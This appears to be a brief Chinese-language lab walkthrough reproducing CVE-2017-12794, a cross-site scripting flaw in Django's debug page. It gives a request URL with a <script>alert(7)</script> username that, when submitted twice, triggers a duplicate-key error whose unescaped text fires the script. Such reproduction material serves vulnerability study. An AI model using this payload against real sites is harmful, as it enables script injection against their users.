Django debug page XSS漏洞(CVE-2017-12794)

1.创建个用户:ip:8000/create_user/?username=<script>alert(7)</script>

Django debug page XSS漏洞(CVE-2017-12794)

显示用户已创建。
2.触发漏洞,再次访问ip:8000/create_user/?username=<script>alert(7)</script>

Django debug page XSS漏洞(CVE-2017-12794)

3.触发异常:

duplicate key value violates unique constraint "xss_user_username_key"
DETAIL: Key (username)=(<script>alert(7)</script>) already exists.

Django debug page XSS漏洞(CVE-2017-12794)

4.这个异常被拼接进The above exception ({{ frame.exc_cause }}) was the direct cause of the following exception,最后触发XSS。

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